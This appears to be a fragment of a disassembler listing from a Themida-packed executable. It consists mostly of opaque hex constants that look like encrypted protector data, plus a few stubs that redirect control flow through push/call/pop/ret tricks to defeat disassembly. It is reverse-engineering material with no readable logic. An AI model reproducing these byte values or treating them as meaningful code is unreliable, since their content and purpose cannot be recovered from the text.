dd 0DC25FE3Ah, 2D9ECCA1h, 0F425FBB6h, 0D39B622h, 8C49A8A1h
dd 462007F6h, 7A03EFA7h, 0DDAAB664h, 8CA2EB83h, 6435EB83h
dd 6362EFA7h, 6BD50664h, 8AB1C11Dh, 462707DFh, 0FE8AEFA7h
dd 1A455879h, 412CBF5Dh, 6423EFB6h, 322906F0h, 4D75EFA7h
dd 1839BB07h, 0A3B1F2C8h, 76764FDh, 909989A3h, 98236400h
dd 642407F5h, 0EB79EFA7h, 7DA8B8FFh, 8371BFAAh, 187BB596h
dd 7B79DEA8h, 9507AB2Eh, 0C8266AA8h, 0ED9AEFA7h, 6A481499h
dd 0F175EFCDh, 8C23EFA4h, 18E0B187h, 27079B2Eh, 9507AB26h
dd 0C823EFBEh, 35E0B9E1h, 5EE6F109h, 19330797h, 8C68EFA7h
dd 2D724D00h, 0DC55D575h, 7EC5E941h, 3A8FE2Bh, 0B59610FEh
dd 0B925FBBDh, 0D27B212h, 57A662A1h, 2C25F827h, 20CBB9A7h
dd 0B123EFA7h, 417D2CF9h, 0E527CBD3h, 2627CBE3h, 5F23EFA7h
dd 73832CF1h, 46330677h, 237FEFA7h, 90AC9BE9h, 40AA4488h
dd 546C43FEh, 0B7AAEE6Ah, 1F37EA1Ah, 219EC6F0h, 1F25FBBCh
dd 0A8515AE7h, 850FDA12h, 412364A1h, 7032F212h, 582364A1h
dd 1ACBB8A7h, 0AC23EFA7h, 0CF7C2CF8h, 0A227CBDBh, 8627CBE3h
dd 8F23EFA7h, 391C2CF0h, 0AFAA50BCh, 1F37C9A6h, 83E26A2Eh
dd 4649E9B3h, 232007F4h, 0CA03EFA7h, 94AAB464h, 20A2EB83h
dd 3237EB83h, 4A60EFA7h, 31AA9564h, 4037C522h, 2323FF4Eh
dd 702196A7h, 0CE051D34h, 461ABD81h, 0FF6173F3h, 18AB062Ch
dd 8C49EFA7h, 462007F1h, 7D03EFA7h, 0E5AAB164h, 8CA2EB83h
dd 6434EB83h, 6465EFA7h, 0C99C1764h, 7E8657Ch, 52357E12h
dd 91A662A1h, 0FB25F80Dh, 0CBCBBEA7h, 4423EFA7h, 0BB7A2CFEh
dd 9827CBEBh, 9027CBE3h, 723EFA7h, 0F77C2CF6h, 0B37254D2h
dd 580F8B1Bh, 2736911h, 0A2498118h, 0F174EFCDh, 8C23EFA4h
dd 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBCh, 77E0B8E0h
dd 9AFCC345h, 0E66851EDh, 980C7A32h, 162385A1h, 2323EC4Fh
dd 527BCFA7h, 0EC6766FFh, 40676EA3h, 3223F5A3h, 0DA73AFA7h
dd 0D49B7837h, 0C714BACBh, 7D44D151h, 1F75509Ch, 55AE8B03h
dd 6234451Fh, 0DA75EFCDh, 1923EFA4h, 0D2E0B187h, 42079B2Eh
dd 2707AB26h, 9123EFBFh, 6EE0B9E1h, 1D002D73h, 3202522Eh
dd 7FB0E9B3h, 0DC185519h, 462F07F0h, 0F224EFA7h, 0EEB0D327h
dd 0F534BDCBh, 6CCA2811h, 0C223EFA7h, 338F91ADh, 0D5A6DDA1h
dd 46497CF9h, 232007F5h, 0CB03EFA7h, 9CAAB564h, 20A2EB83h
dd 323AEB83h, 4B61EFA7h, 0C5550364h, 49174FD3h, 2323ED2Bh
dd 0C1E964A7h, 0C707EB2Eh, 0F1DC3818h, 3437F2E2h, 0F170EFCDh
dd 8C23EFA4h, 1DE0B487h, 2707B32Eh, 9507AB26h, 0C823EFBDh
dd 0E9E0BCE4h, 9F25C081h, 9CAA195Ch, 8A37E60Ah, 0AE70EFCDh
dd 2323EFA4h, 0CAE0B487h, 0CC07B32Eh, 6007AB26h, 3223EFB1h
dd 0F0E0BCE4h, 19A892E7h, 4037FE8Ah, 0A6E5182Dh, 9737F5FEh
dd 9D2385F4h, 6423EC4Fh, 0F17ECFA7h, 3D4F66FAh, 0A8676EA3h
dd 4623F3A3h, 0E076AAA7h, 0BF528C74h, 4444EDE8h, 0A196EEAEh
dd 0DA25FB82h, 1923EFA3h, 26A46BD8h, 4623FD4Fh
db 0A7h
byte_584369 db 0A0h, 0F8h, 0BCh ; DATA XREF: Themida_:0054B77Co
dd 8325E50Fh, 8D35656h, 0D50D546Bh, 52D8B333h, 8998D519h
dd 0DC7C8EE6h, 44A6E0C7h, 7223EFA7h, 97A2E0FCh, 0C723EFA7h
dd 6423EF21h, 76A88EA7h, 4B73EB83h, 0DC1359C7h, 1C12E0F5h
dd 122C8EFFh, 91A8B7FDh, 0CC07AB2Eh, 642060A8h, 0B945EFA7h
dd 0FBA2B771h, 868E903Fh, 5CF25A58h, 2349E9B3h, 912007F0h
dd 9703EFA7h, 18AAB064h, 76A2EB83h, 1936EB83h, 0DB64EFA7h
dd 0CB5B1F64h, 34A33422h, 0C42385A1h, 0C823EC4Fh, 0A77ECFA7h
dd 164F66FAh, 3D676EA3h, 8C23F6A3h, 8576AAA7h, 0A96D5170h
dd 262CDDBCh, 0A8F3106Eh, 4DEE7A2Eh, 3D70E9B3h, 1923EF24h
dd 542B1A7h, 522AD622h, 762385A1h, 9123EC4Fh, 0B7ECFA7h
dd 404F66FAh, 16676EA3h, 1923F4A3h, 4F76AAA7h, 0FF65E54Fh
dd 57F62F08h, 0BC7A5A2Ch, 450AE9B3h, 6237C632h, 287A6A61h
dd 9064E9B3h, 98364E32h, 0F9F887A1h, 0A12C9870h, 9123EFB4h
dd 0C823E74Fh, 97C9D2A7h, 2FFAF671h, 0E7FB50CBh, 0D7CE6B9h
dd 1396CBA3h, 2349C63Dh, 912007F4h, 9303EFA7h, 38AAB464h
dd 76A2EB83h, 193EEB83h, 0DF60EFA7h, 0BDD46964h, 0AE597D57h
dd 2B78DCBDh, 0A74B2D51h, 6942722Eh, 87DCE9B3h, 1F37F576h
dd 0A5C66A96h, 0C3AEE9B3h, 25346F7Ch, 0BABE522Eh, 18DCE9B3h
dd 8C75EFCDh, 3223EFA4h, 47E0B187h, 88079B2Eh, 4207AB26h
dd 2323EFBFh, 62E0B9E1h, 854C6B1Fh, 6C667A2Ch, 26CAE9B3h
dd 8623EFA7h, 7A64F8ABh, 9294E777h, 0A4EA17CAh, 6DB99036h
dd 41DD4520h, 7028DE22h, 672385A1h, 1923EC4Fh, 4F7ECFA7h
dd 624F66FAh, 7676EA3h, 9123F3A3h, 0B76AAA7h, 27773A1h
dd 8E565808h, 0E8A889C6h, 890E5A2Ch, 0C3E5E9B3h, 2537F5FEh
dd 0C62385F4h, 0C823EC4Fh, 0A77CCFA7h, 165F66F8h, 3D676EA3h
dd 8C23F2A3h, 8574A8A7h, 9035ACC9h, 416AA5C2h, 684B9542h
dd 0EFEEA2B6h, 16176E50h, 4D57A197h, 8A527A2Ch, 0F3DCE9B3h
dd 2537F576h, 11F86A2Ah, 0DACAE9B0h, 1723EFA7h, 97E03B8Ah
dd 0A2228CC4h, 99A6CFAAh, 0A486CF4Ah, 43F310D9h, 0F0DA64C7h
dd 0D0F65A2Eh, 0ED42E9B3h, 26008E22h, 1FAAE0A1h, 0A523EFA7h
dd 5228721Ah, 7AA629A1h, 0C625FBBDh, 5C8651C1h, 9555ABCFh
dd 0E5A889F6h, 0DB07EB26h, 71DFD7Ch, 97961050h, 4925FBBDh
dd 92CBBCA7h, 0E823EFA7h, 0ED782CFCh, 0B327CBFBh, 427CBE3h
dd 0CF23EFA7h, 0DD322CF4h, 0D72CB7C6h, 38F1C74Eh, 48F86A2Ah
dd 68CAE9B0h, 2B23EFA7h, 24190CDFh, 88EB61Ch, 0B9EF4AE5h
dd 3A9E6477h, 1825FBABh, 0DC08F622h, 0A2D264A1h, 2639B622h
dd 1949ACA1h, 8C2007F4h, 1D03EFA7h, 7FAAB464h, 0D5A2EB83h
dd 0C835EB83h, 3760EFA7h, 0FA86A964h, 2DAA5A2Ch, 88CBE9B3h
dd 6E23EFA7h, 919F7FD7h, 0E099BF75h, 4330B524h, 0DE27CBE3h
dd 511AF159h, 699CEF2Ch, 5762DCDh, 0CD27CBE3h, 96A8B76Ch
dd 9737F9D6h, 0D2F25A58h, 6449E9B3h, 322007F0h, 4603EFA7h
dd 0F0AAB064h, 2A2EB83h, 233FEB83h, 0C664EFA7h, 93F95864h
dd 0F1D43FECh, 852C2F0Fh, 0C2A66275h, 0E625F827h, 45CBBAA7h
dd 323EFA7h, 187E2CFAh, 4927CBCBh, 7327CBE3h, 7723EFA7h
dd 74A12CF2h, 0A2CAB41h, 4623EFA1h, 281652A4h, 41DCE9B3h
dd 2070EFCDh, 6423EFA4h, 69E0B487h, 1D07B32Eh, 8807AB26h
dd 4623EFB3h, 24E0BCE4h, 912265A8h, 41D6EFA7h, 70139A22h
dd 9AA662A1h, 7325F80Dh, 8FCBB9A7h, 6623EFA7h, 0AA7D2CF9h
dd 1027CBD3h, 0D327CBE3h, 2223EFA7h, 0EBF52CF1h, 1ED3594Bh
dd 0D274EFF7h, 2671BFF7h, 0F5A88EC7h, 0F712E0C6h, 9079392Ch
dd 0E07EB2Eh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh
dd 3827CBE3h, 0D423EFA7h, 57A12CF2h, 762FC36Eh, 31DAD748h
dd 0D207A32h, 19B610A1h, 2C25FB88h, 20CBBEA7h, 0B123EFA7h
dd 417A2CFEh, 0E527CBEBh, 2A27CBE3h, 5823EFA7h, 55612CF6h
dd 2010B897h, 0A8CB7118h, 0C723857Fh, 0C823EC4Fh, 0A77DCFA7h
dd 165766F9h, 3D676EA3h, 8C23F5A3h, 8575A9A7h, 7E002900h
dd 0C642A1B0h, 4DAEB05Eh, 6234453Bh, 3223E34Eh, 0AA3E79A7h
dd 4FF6F6BDh, 3D57F513h, 0A32CBF0Eh, 9123EFA0h, 584750F7h
dd 0ED7A99BBh, 34CACBA3h, 3C23EFA7h, 0A700BBE0h, 0FF457C08h
dd 4573D8BBh, 2E78019h, 2070EFCDh, 6423EFA4h, 69E0B487h
dd 1D07B32Eh, 8807AB26h, 4623EFBBh, 9AE0BCE4h, 70B3D97Ah
dd 6218E8B6h, 6423FC4Eh, 0EA013AA7h, 0B1F3B9EEh, 0BD74A192h
dd 1C932B15h, 9A462FB8h, 8C667A58h, 0C849E9B3h, 642007F5h
dd 6803EFA7h, 4DAAB564h, 0C8A2EB83h, 463EEB83h, 7161EFA7h
dd 0BCD41764h, 202F8DD7h, 0ED4E29EEh, 260CC61Ah, 5CA666A1h
dd 0BF25FB89h, 522FB612h, 86A628A1h, 9E25FBBDh, 0A223EFA7h
dd 67CBB8A7h, 1223EFA7h, 907C2CF8h, 0D27CBDBh, 5B27CBE3h
dd 6423EFA7h, 0E8962CF0h, 7CC1E4C3h, 0AB67AE9Ch, 0F4A289C7h
dd 78D6B04Fh, 8CFA52AEh, 0D3DCE9B3h, 2537C1E2h, 912568A8h
dd 45AAEFA7h, 6237CBB2h, 10225294h, 9CAAE9B3h, 8A37E9AEh
dd 0CDD850A8h, 3733EE22h, 0C3BE62A1h, 4125F81Ah, 0D9AEEEE4h
dd 3437E236h, 0A40F5A2Ah, 0BF9AE9B0h, 0B523EFA7h, 9B100403h
dd 9123EFA7h, 0CB572FACh, 0EF23F765h, 612FCBE3h, 1923EF4Fh
dd 4FA2B4A7h, 4623EFB0h, 3307B32Eh, 8507AB2Eh, 681457FCh
dd 84DCEF05h, 3607AB2Ch, 19490F58h, 8C2007F4h, 1D03EFA7h
dd 7FAAB464h, 0D5A2EB83h, 0C838EB83h, 3760EFA7h, 31471E64h
dd 13C3FDC8h, 0D966669h, 2025FB89h, 50AC3826h, 874E7AA4h
dd 7F2CE9B3h, 0DE458E6Dh, 8FAE44CCh, 1F34453Bh, 3194622Ah
dd 739BE9B0h, 10BBC90Ch, 852B2622h, 0C7ECC4A1h, 4F112385h
dd 0A72323ECh, 0F8527CCFh, 0A3EC5F66h, 0A340676Eh, 0A73223F2h
dd 0E98374A8h, 8BA4F305h, 0FEF781D9h, 0E92E954Ch, 59h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h
dd 726ABB18h, 0A6C51888h, 6A61FCh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0CFB739C3h, 0A1A4F6C3h
dd 605BD874h, 12DF8166h, 0F094BF15h, 0C3613730h, 0F5C08BF9h
dd 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah, 53501974h
dd 0B9B8C08Bh, 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h
dd 83585BD3h, 141AE1BDh, 17740006h, 0B9B85350h, 89000004h
dd 1430C185h, 429D8D06h, 0FF0616B4h, 0F5585BD3h, 5810Fh
dd 0F9600000h, 8B615956h, 8B40F9C0h, 55006AC1h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0E544A7F2h
dd 0EBF0E5A6h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0D9B34A27h, 8D89DAE7h
dd 6140379h, 99858DF5h, 0B06140Fh, 140BADB5h, 0DE95006h
dd 0E2000000h, 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 0F85BC350h, 36A7C4B7h, 606440BAh, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 82F968C3h, 0F006A2Fh, 2B8Ah, 12E800h, 0A5A0000h, 66570D50h
dd 0FD1ACF38h, 0EB33186h, 391589CEh, 0EE9h, 6E0CE800h
dd 4BF0CAD4h, 368ECD97h, 5FFFCFC3h, 0C0E0858Dh, 6A0617h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0B54274C3h, 66BF2C42h, 0C083F78Bh, 52006A05h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 6690C14Eh, 9050F28Bh, 1B1DBD8Bh, 6A0614h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 4E8720FFh
dd 7683B611h, 1D9D8956h, 66061432h, 6AF08Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 0BE2B047Eh
dd 0E165B8BAh, 0F080604Ch, 69958BEDh, 61061426h, 1A7195FFh
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 6087C6C3h, 14E8F78Bh, 4C000000h, 0E5FDB3AEh
dd 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh, 0F92244DEh, 9509615Fh
dd 6140A29h, 0A8FC9D8Dh, 8D090617h, 6140E89h, 0BD01D3FFh
dd 6143159h, 236D85FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0FD85F8C3h, 0AB2B3F97h
dd 0F9BF0F65h, 0BE2F1ABEh, 11E91Dh, 40CB0000h, 91721D8Fh
dd 23E1B23Ch, 50801526h, 0E982D2E3h, 797h, 0E8h, 0ED815D00h
dd 617C0EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 32C35141h, 0DE8166F0h, 0BD81613Eh, 6141AA5h, 7D0h
dd 147860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 0AE9575C3h, 4D20C59Ah, 0BF6643C0h
dd 0BF0F1CE4h, 319D8BF3h, 66061402h, 816E91BEh, 100E3h
dd 0FE900h, 0D9C20000h, 1E2319B0h, 0F141BEA0h, 0C89D328Eh
dd 0FDB0B84h, 9485h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0BD8313BCh, 617BEBEh
dd 14840F00h, 8B000000h, 14313DBDh, 9CE906h, 8E0F0000h
dd 3, 0C7F6B70Fh, 17BEBE85h, 106h, 5958900h, 0E9061401h
dd 7Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
dd 7DC35141h, 3CDCA8Bh, 0E968BBA6h, 13h, 0D9E99747h, 70BA460Dh
dd 3721DBA9h, 7CC040F6h, 8B29703Ah, 1400E5BDh, 0BE85C706h
dd 617BEh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0E4ABC350h, 605DEA1Fh, 0E5F38166h
dd 4DB58B15h, 61061422h, 1C58D29h, 9D8D0614h, 6140231h
dd 69B58BF5h, 81061402h, 0FFFEFF23h, 0ADBD8BFFh, 8906141Bh
dd 140019B5h, 0DB8C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0F5C35646h, 56D71F07h, 0DE8166E6h, 0C3F69DDBh
dd 4A840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0EFF3C357h, 95FF7773h
dd 6142E45h, 14B1BD33h, 0E9900614h, 5, 98CEEF98h, 0F90504Dh
dd 0C8Bh, 6810F00h, 89000000h, 140CD985h, 42AE906h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0EE5B8FC3h, 91FCEC5Fh, 11E85D86h, 0A3000000h, 4A1739A1h
dd 3F132A83h, 0CCE5EAF7h, 455BFC2Eh, 0FE8h, 8678C600h
dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 8B665F5Fh, 6A00B0F9h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 740C350h, 70E62660h, 1A15BD8Bh, 71E40614h
dd 816650F5h, 5FBEBEDFh, 8BD8B60Fh, 6BAF2h, 0B7BE0000h
dd 8B6D672Ah, 0C1F18BC3h, 0F08B04E8h, 0E9E2F766h, 0Dh
dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 89D82BC1h, 1422099Dh
dd 12E95006h, 1000000h, 0FCD4C8CDh, 65255B9h, 266FF7AAh
dd 168C9E39h, 241C8956h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 41C35040h, 4605CAD3h, 9D891262h, 6141635h
dd 0AED8D89h, 0B5FF0614h, 6141AA5h, 4DDB533h, 11E90614h
dd 62000000h, 1AE1EB60h, 7E08D19Fh, 0B8F40002h, 3DBA858Fh
dd 116995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 2177A3C3h, 0D0856DBBh, 0BD8BD1E1h
dd 6141D3Dh, 2ADD9589h, 0B00614h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0D4C35343h, 0A23E5EBh, 0EF3E478Fh
dd 0A2F8BFD4h, 70E63EADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0E0C35343h, 613C71E4h, 27A830Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 24EE5EC3h, 0B60F842Eh, 0ADB503D8h, 0BA06142Eh, 6, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 74EDE114h
dd 0F4556E4h, 6060F0BFh, 6E9h, 9B0BAB00h, 890D4583h, 1405358Dh
dd 8D2B6106h, 6140F71h, 6AC38B61h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCB6C356h
dd 0F0FDF483h, 0E8C1F844h, 57006A04h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 665D6709h
dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 2B1AE1C3h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 29CA87DCh, 1403A985h
dd 68A0F06h, 29000000h, 1419D18Dh, 0CE95806h, 0F8000000h
dd 0E3B63133h, 9EEA1618h, 2BAAA83Fh, 59880FD8h, 66000001h
dd 6BC7EE81h, 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 9B6B68C7h, 0A70DA023h
dd 31B1B58Bh, 0EE80614h, 0AF000000h, 0E59C6D30h, 2EDC874Eh
dd 0E8BC068Ch, 6860FD9h, 0F000000h, 87h, 0C1835E00h, 0FD93B00h
dd 0FB86h, 0D98C6600h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 19C35646h, 0E904246Ch, 0F1B58BD8h, 0F6061400h
dd 840F04C1h, 0A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 8FC35343h, 98C3D907h, 85896052h, 6140D55h
dd 820Fh, 5E610000h, 2E4595FFh, 6A0614h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C36E1C3h
dd 8B70BC2Eh, 141AC5B5h, 33515B06h, 1416F5B5h, 0C32B5F06h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A3C35343h
dd 52948D24h, 3D5FF78Bh, 834h, 0D860Fh, 0BD890000h, 61412DDh
dd 27E9h, 8BF98B00h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 85898500h, 6143499h, 0D88BC38Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E9C35545h
dd 0F6010F0h, 68Ch, 69BD0B00h, 0E906140Eh, 7, 1BEBE2A0h
dd 61050B7Dh, 1AF985C7h, 0E5F10614h, 6A3DD4h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 57E5D7C3h
dd 0DB19B88Eh, 0C098589h, 0C08B0614h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 18h, 37C35242h, 0AC783C37h
dd 82DBD89h, 0BD810614h, 6141AA5h, 7D0h, 2D850Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 6A2A88C3h, 0B13023EBh, 1AA585FFh, 81660614h, 0FF76DDEEh
dd 141AA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 0B0B931ECh, 0F8B70FB9h, 0EE9h, 37DA6B00h
dd 6489EF69h, 0B516ED5Bh, 0FF7E4D3Eh, 14116995h, 0B890F906h
dd 12345678h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 45C35242h, 286D446Fh, 3543A3F6h, 2C9D8DF7h, 0E90617C8h
dd 0FFFFF884h, 12EE8166h, 10820FF9h, 0E9000000h, 0Bh, 36C0BAB6h
dd 539F8C5Dh, 8B937E7Bh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 7BB38C31h, 81665E9Eh
dd 0EB4F50CFh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 8DB58B47h, 8B06141Bh
dd 0CD8589F7h, 8D061413h, 140F9985h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 89F7B12h, 6C99314Ch
dd 6830FA4h, 89000000h, 14253185h, 52505006h, 0FFA8B66h
dd 5C22BF31h, 585A609Ch, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E17C355h
dd 0E229582Bh, 1CB5B533h, 6A0614h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0FAC35747h, 29D68356h, 67BFBE0h
dd 11E9h, 5B43C900h, 32DF36B2h, 0C6240644h, 0F5CF9952h
dd 85892E95h, 6142AF1h, 9589006Ah, 6141FC5h, 0CAC4858Dh
dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0ED25A7C3h, 5C08330h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 3BC35040h, 3131B523h, 8B660614h
dd 14E990F9h, 0D7000000h, 3E22CB86h, 7FD12C9Ch, 5FD93DAh
dd 0FE51BFFFh, 50E6E17Fh, 0D26BBE66h, 6A96BF90h, 6A768Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h
dd 0F881ACEBh, 29A8946Dh, 6A006A12h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EADAC353h
dd 7195FF4Ah, 0B06141Ah, 140E95B5h, 5880F06h, 0BF000000h
dd 4C9CA975h, 0A8FC9D8Dh, 0B58B0617h, 6142505h, 6AD3FFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0F1AFD0C3h, 0EFD0F38Ch, 0D1BD8BD6h, 0FF061404h, 14236D85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 61148EBBh, 0DF54A3h, 0C59D29EBh, 0E9061429h
dd 0E16h, 0E8h, 0ED815D00h, 617CACEh, 2AA59589h, 0BD810614h
dd 6141AA5h, 7D0h, 171860Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C61745C3h
dd 899B2993h, 1424D985h, 759D8B06h, 8106141Bh, 100E3h
dd 0EDB52900h, 0B061405h, 93850FDBh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 7900C357h, 52BC1F9h, 0A6BD83FCh, 617C8h, 43840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 7D76C8C3h, 14E938h, 65C00000h, 78A2CCB9h, 0DEE71D22h
dd 0B1FE4B09h, 0B2CE69C4h, 7BE9600Bh, 8B000000h, 140C71B5h
dd 0A685C706h, 10617C8h, 1000000h, 140C3585h, 60E906h
dd 8B660000h, 38C0FF1h, 0F000000h, 85C7F3B7h, 617C8A6h
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5857B3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5857B3 proc near ; CODE XREF: Themida_:005857ABp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5857B3 endp
; ---------------------------------------------------------------------------
db 19h
dd 326960F0h, 0B5CCDAFEh, 5E8ACh, 0E79F0000h, 0E8F947B0h
dd 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h, 0FC60E70Fh
dd 9D8D5E5Eh, 6141B75h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0DAC35242h, 0FEFF2381h, 6AFFFFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 972C7AC3h, 662A5EB4h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 9B4389C3h, 0B50BCD1Bh
dd 6142195h, 0F04C3F6h, 5384h, 5E800h, 0A1BE0000h, 89CB2C0Eh
dd 1403B18Dh, 95FF5F06h, 6142E45h, 0E990FA8Bh, 6, 0AFDA7364h
dd 50503FDBh, 5E952h, 35A30000h, 0FCDACD7h, 10E831h, 82420000h
dd 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 850FB96Eh, 0
; ---------------------------------------------------------------------------
pop edi
pop edx
pop eax
nop
jmp loc_585CD0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5858D0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5858D0 proc near ; CODE XREF: Themida_:005858C8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5858D0 endp
; ---------------------------------------------------------------------------
dd 0D0A6960Eh, 1E9AF98h, 14E9h, 4D96D700h, 0CB137666h
dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 0AB90BEEDh, 0B02C93h
dd 0D073E681h, 70E66C3Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 45B376C3h, 2A119589h
dd 0B60F0614h, 5E8D8h, 6D710000h, 2996E813h, 1419C9BDh
dd 6BA5E06h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 7FE0C350h, 0BD8B2213h
dd 6142991h, 0AE9h, 39939600h, 9065B101h, 8B0C3426h, 50006AC3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 4E8C13Ah, 14E9h, 0D4DA7600h, 98AC3406h, 0E40B160Bh
dd 0C35D777Fh, 303C2F7Ch, 0E2F76610h, 10E9h, 0A68D4E00h
dd 0B7BCC31Dh, 0ECE253F8h, 49579691h, 8BD82B9Bh, 140C9DBDh
dd 10E85006h, 0B1000000h, 656A048Fh, 68A3159Bh, 986B6737h
dd 0E8E4FD80h, 0Ah, 7693E59Bh, 57F4226h, 8B66C5F9h, 895E5EF3h
dd 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 82940FC3h, 0BD8BAFFCh, 6142661h, 0BE9h, 1FDDD800h
dd 0FF63A16Dh, 48A3B54Dh, 1AA5B5FFh, 81660614h, 0FF80EFD6h
dd 14116995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
